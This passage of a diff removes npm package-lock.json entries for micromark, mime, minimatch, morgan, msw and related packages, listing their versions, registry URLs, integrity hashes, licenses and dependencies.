"micromark-util-subtokenize": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-extension-gfm": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-3.0.0.tgz", - "integrity": "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==", - "license": "MIT", - "dependencies": { - "micromark-extension-gfm-autolink-literal": "^2.0.0", - "micromark-extension-gfm-footnote": "^2.0.0", - "micromark-extension-gfm-strikethrough": "^2.0.0", - "micromark-extension-gfm-table": "^2.0.0", - "micromark-extension-gfm-tagfilter": "^2.0.0", - "micromark-extension-gfm-task-list-item": "^2.0.0", - "micromark-util-combine-extensions": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-autolink-literal": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz", - "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==", - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-sanitize-uri": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-footnote": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz", - "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==", - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-core-commonmark": "^2.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-normalize-identifier": "^2.0.0", - "micromark-util-sanitize-uri": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-strikethrough": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-2.1.0.tgz", - "integrity": "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==", - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-util-chunked": "^2.0.0", - "micromark-util-classify-character": "^2.0.0", - "micromark-util-resolve-all": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-table": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.1.tgz", - "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==", - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-tagfilter": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-2.0.0.tgz", - "integrity": "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==", - "license": "MIT", - "dependencies": { - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-extension-gfm-task-list-item": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-2.1.0.tgz", - "integrity": "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==", - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/micromark-factory-destination": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", - "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-factory-label": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz", - "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-factory-space": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", - "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-factory-title": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz", - "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-factory-whitespace": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz", - "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-factory-space": "^2.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-character": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz", - "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-chunked": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz", - "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-classify-character": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz", - "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-combine-extensions": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz", - "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-chunked": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-decode-numeric-character-reference": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz", - "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-decode-string": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz", - "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "decode-named-character-reference": "^1.0.0", - "micromark-util-character": "^2.0.0", - "micromark-util-decode-numeric-character-reference": "^2.0.0", - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-encode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", - "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT" - }, - "node_modules/micromark-util-html-tag-name": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", - "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT" - }, - "node_modules/micromark-util-normalize-identifier": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz", - "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-resolve-all": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz", - "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-sanitize-uri": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz", - "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "micromark-util-character": "^2.0.0", - "micromark-util-encode": "^2.0.0", - "micromark-util-symbol": "^2.0.0" - } - }, - "node_modules/micromark-util-subtokenize": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz", - "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT", - "dependencies": { - "devlop": "^1.0.0", - "micromark-util-chunked": "^2.0.0", - "micromark-util-symbol": "^2.0.0", - "micromark-util-types": "^2.0.0" - } - }, - "node_modules/micromark-util-symbol": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz", - "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT" - }, - "node_modules/micromark-util-types": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz", - "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", - "funding": [ - { - "type": "GitHub Sponsors", - "url": "https://github.com/sponsors/unifiedjs" - }, - { - "type": "OpenCollective", - "url": "https://opencollective.com/unified" - } - ], - "license": "MIT" - }, - "node_modules/micromatch": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", - "dev": true, - "license": "MIT", - "dependencies": { - "braces": "^3.0.3", - "picomatch": "^2.3.1" - }, - "engines": { - "node": ">=8.6" - } - }, - "node_modules/micromatch/node_modules/picomatch": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", - "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/mime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - "license": "MIT", - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/mime-db": { - "version": "1.54.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types": { - "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - "license": "MIT", - "dependencies": { - "mime-db": "1.52.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mime-types/node_modules/mime-db": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/mimic-function": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz", - "integrity": "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/mimic-response": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/min-indent": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", - "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/minimatch": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/minimist": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", - "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/minipass": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", - "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", - "dev": true, - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, - "node_modules/minizlib": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.1.0.tgz", - "integrity": "sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==", - "dev": true, - "license": "MIT", - "dependencies": { - "minipass": "^7.1.2" - }, - "engines": { - "node": ">= 18" - } - }, - "node_modules/mkdirp": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", - "dev": true, - "license": "MIT", - "bin": { - "mkdirp": "bin/cmd.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/moment": { - "version": "2.30.1", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz", - "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==", - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/monaco-editor": { - "version": "0.55.1", - "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz", - "integrity": "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==", - "license": "MIT", - "dependencies": { - "dompurify": "3.2.7", - "marked": "14.0.0" - } - }, - "node_modules/morgan": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.11.0.tgz", - "integrity": "sha512-zSkVu3t18r39pw4ixfBKvfZi3y2UOqr7d4WYwcj3m8nXpEQK4rPO6GLzs/CExoRgmX3y9EjmmcXqv6jq0SK46g==", - "license": "MIT", - "dependencies": { - "basic-auth": "~2.0.1", - "debug": "2.6.9", - "depd": "~2.0.0", - "on-finished": "~2.4.1", - "on-headers": "~1.1.0" - }, - "engines": { - "node": ">= 0.8.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/morgan/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "license": "MIT", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/morgan/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", - "license": "MIT" - }, - "node_modules/motion-dom": { - "version": "12.40.0", - "resolved": "https://registry.npmjs.org/motion-dom/-/motion-dom-12.40.0.tgz", - "integrity": "sha512-HxU3ZaBwNPVQUBQf1xxgq+7JrPNZvjLVxgbpEZL7RrWJnsxOf0/OM+yrHG9ogLQ31Do/r57Oz2gQWPK+6q62mg==", - "license": "MIT", - "dependencies": { - "motion-utils": "^12.39.0" - } - }, - "node_modules/motion-utils": { - "version": "12.39.0", - "resolved": "https://registry.npmjs.org/motion-utils/-/motion-utils-12.39.0.tgz", - "integrity": "sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ==", - "license": "MIT" - }, - "node_modules/mri": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mri/-/mri-1.2.0.tgz", - "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==", - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/mrmime": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mrmime/-/mrmime-2.0.1.tgz", - "integrity": "sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "license": "MIT" - }, - "node_modules/msw": { - "version": "2.14.2", - "resolved": "https://registry.npmjs.org/msw/-/msw-2.14.2.tgz", - "integrity": "sha512-D2bTe0tpuf9nw4DA39wFaqUD/hRPKj0DKpo2lAqu+A47Ifg4+h0hbfn6QxVOsiUY2uhgEN6TTpGSHDsc+ysYNg==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "dependencies": { - "@inquirer/confirm": "^6.0.11", - "@mswjs/interceptors": "^0.41.3", - "@open-draft/deferred-promise": "^3.0.0", - "@types/statuses": "^2.0.6", - "cookie": "^1.1.1", - "graphql": "^16.13.2", - "headers-polyfill": "^5.0.1", - "is-node-process": "^1.2.0", - "outvariant": "^1.4.3", - "path-to-regexp": "^6.3.0", - "picocolors": "^1.1.1", - "rettime": "^0.11.7", - "statuses": "^2.0.2", - "strict-event-emitter": "^0.5.1", - "tough-cookie": "^6.0.1", - "type-fest": "^5.5.0", - "until-async": "^3.0.2", - "yargs": "^17.7.2" - }, - "bin": { - "msw": "cli/index.js" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/mswjs" - }, - "peerDependencies": { - "typescript": ">= 4.8.x" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/msw/node_modules/@mswjs/interceptors": { - "version": "0.41.9", - "resolved": "https://registry.npmjs.org/@mswjs/interceptors/-/interceptors-0.41.9.tgz", - "integrity": "sha512-VVPPgHyQ6ShqnrmDWuxjmUIsO9gWyOZFmuOfLd9LfBGQJwZfy0gvv9pbHSJuoFNIYC7ZDX9aoFwowjcdSC4E8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@open-draft/deferred-promise": "^2.2.0", - "@open-draft/logger": "^0.3.0", - "@open-draft/until": "^2.0.0", - "is-node-process": "^1.2.0", - "outvariant": "^1.4.3", - "strict-event-emitter": "^0.5.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/msw/node_modules/@mswjs/interceptors/node_modules/@open-draft/deferred-promise": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@open-draft/deferred-promise/-/deferred-promise-2.2.0.tgz", - "integrity": "sha512-CecwLWx3rhxVQF6V4bAgPS5t+So2sTbPgAzafKkVizyi7tlwpcFpdFqq+wqF2OwNBmqFuu6tOyouTuxgpMfzmA==", - "dev": true, - "license": "MIT" - }, - "node_modules/msw/node_modules/@open-draft/deferred-promise": { - "version": "3.0.0", - "resolved": 